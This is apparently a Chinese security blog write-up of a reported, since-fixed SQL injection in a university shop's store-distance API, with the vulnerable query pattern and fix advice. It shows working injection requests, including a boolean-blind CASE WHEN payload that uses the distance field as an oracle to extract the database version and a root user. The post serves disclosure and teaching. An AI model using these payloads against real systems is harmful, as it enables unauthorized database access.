经纬度里挖出个root:某高校商城SQL注入手记

admin 2026-06-15 05:16:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露某高校商城通过经纬度参数存在的SQL注入漏洞,攻击者利用距离计算接口未过滤输入直接拼接SQL查询,通过布尔盲注获取数据库root权限信息。关键发现包括漏洞成因(CRMEB框架参数未校验)、利用手法(distance字段作为回显通道)及风险(匿名访问+高权限)。可操作建议包括采用参数化查询、限制数据库权限、关闭错误回显等修复措施。 综合评分: 87 文章分类: WEB安全,漏洞分析,实战经验,安全开发,代码审计


cover_image

经纬度里挖出个root:某高校商城SQL注入手记

原创

狗头安全 狗头安全

狗头网络安全

2026年6月12日 17:58 四川

在小说阅读器读本章

去阅读

从”附近门店”到”附近的数据库管理员密码”,中间就隔了一个单引号。


0x00 前言

前阵子测某高校的资产,翻到一个校园商城,CRMEB搭的。本来没抱多大期望——开源商城嘛,能有啥。

结果还真给我挖到了。而且挖出来的东西,怎么说呢,比我预期刺激得多。

漏洞已经报了,也确认修了,所以可以聊聊过程。


0x01 一个算距离的接口

商城有个”附近门店”功能,你传经纬度,它返回门店列表和到你的距离。接口长这样:

GET /api/xxxxx_list?latitude=30.476&longitude=114.343

返回里有个 distance 字段,单位米。没啥特别的,Haversine公式算球面距离

接口不需要登录,也不需要Token,公开的。


0x02 加个单引号

老规矩,先加个单引号:

GET /api/xxxxx_list?latitude=30.476&longitude=114.343'

我本来预期返回个400或者”参数错误”之类的。

然后它给我吐了这么一坨:

{
  "status": 400,
  "msg": "SQLSTATE[42000]: Syntax error or access violation: 1064
  YouhaveanerrorinyourSQLsyntax...near''*pi()) /180) /2), 2)))))
  ASdistance, `id`, `name`, `phone`, `address`, `detailed_address`..."
}

好家伙,Haversine公式的SQL实现原封不动甩我脸上了,连字段名都带着。


0x03 数值型,不用闭合引号

看报错就知道了,经纬度是直接拼进数学公式的,没有引号包裹。数值型注入,省心。

直接在经度后面减一个子查询试试:

GET /api/xxxxx_list?latitude=30.476&longitude=114.343-(SELECT 1)

正常请求distance是113米,门店就在校园里。加了(SELECT 1)之后,distance变成了7383707——七百多万米,7383公里。

经度被减了1,SQL老老实实地拿 113.343 去算了个到大西洋的距离。子查询执行了,注入坐实。


0x04 distance当信道:地球级别的布尔盲注

有了distance这个回显通道,布尔盲注就很自然了。构造一个CASE WHEN:

(SELECTCASEWHEN[条件为真]THEN100ELSE0END)

条件为真的时候经度偏100,distance大概1300多万;为假偏0,大概729万。阈值拉到1000万,大于就是TRUE,小于就是FALSE。

一个算”你离超市多远”的接口,被我拿来当了一台一次回答一个bit的应答机。

开始逐字符抠数据库版本:

@@version第1个字符是5吗? → distance=13225681 → 是
第2个字符是.吗? → 13225681 → 是
第3个字符是7吗? → 13225681 → 是
...
第5个字符是4吗? → 13225681 → 是
第5个字符是9吗? → 7295219 → 不是(对照组验证)

完整提取:@@version = 5.7.44-log


0x05 root

接下来提CURRENT_USER。同样的盲注手法,一个字符一个字符抠。

结果出来我愣了一下:

root@localhost

root跑业务库。

root权限意味着LOAD_FILE能读服务器文件,INTO OUTFILE能往磁盘写东西。再加上这个接口压根不需要登录——一个匿名可访问的接口,挂着root权限的数据库连接。


0x06 到此为止

只提了三条系统变量就收手了:

| 变量 | 值 | | — | — | | @@version | 5.7.44-log | | CURRENT_USER | root@localhost | | @@hostname | ****(脱敏) |

没碰业务数据。root权限+无认证+可执行任意SQL


0x07 为什么会这样

CRMEB的门店距离计算,SQL大概长这样:

SELECT*,
  (2* ASIN(SQRT(
    POWER(SIN((latitude -{用户纬度})* PI() / 180 / 2),2)+
    COS(latitude * PI() / 180)* COS({用户纬度}* PI() / 180)*
    POWER(SIN((longitude -{用户经度})* PI() / 180 / 2),2)
  )))*6371AS distance
FROM store
ORDERBY distance

{用户经度} 和 {用户纬度} 直接拼进去的。没bindParam,没类型检查,连 is_numeric() 都没调一下。Haversine公式没问题,问题是拼接方式——你传数字它算距离,你传子查询它也照算。

这种写法在PHP里太常见了。开发可能觉得经纬度就是个浮点数,谁会往里面塞SQL呢?

我会。


0x08 怎么修

  1. 用PDO的bindParam做参数化查询,或者框架自带的查询构建器。手拼SQL属于是2026年了还在裸奔
  2. 经纬度做个范围校验,-180到180 / -90到90,超了直接拒。这俩参数的合法值域是固定的,没理由不卡
  3. 业务库别用root连。一个查门店距离的功能需要什么权限?SELECT就够了
  4. 生产环境关掉SQL报错回显。把完整错误信息返回给用户,等于开卷考试还附带参考答案

0x09 碎碎念

这个洞有意思的地方在于注入点藏在经纬度参数里。经纬度这东西,大部分人的直觉是”就一个小数”,不会往SQL注入上想。但只要参数进了SQL又没做处理,管你是经纬度还是用户名,该注的一样注。

另外distance做回显通道这个也挺有趣。不是经典的报错注入,不是时间盲注,是通过一个地理距离值的大小来传递true/false。从武汉到南极洲是真,到大西洋是假——大概是我见过地理跨度最大的布尔盲注了。

最后只通杀了两个学校,狠狠提交拿下某高校证书


本文仅作安全技术交流,漏洞已通过EDUSRC报送、。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:狗头网络安全 狗头安全 狗头安全《经纬度里挖出个root:某高校商城SQL注入手记》

评论:0   参与:  0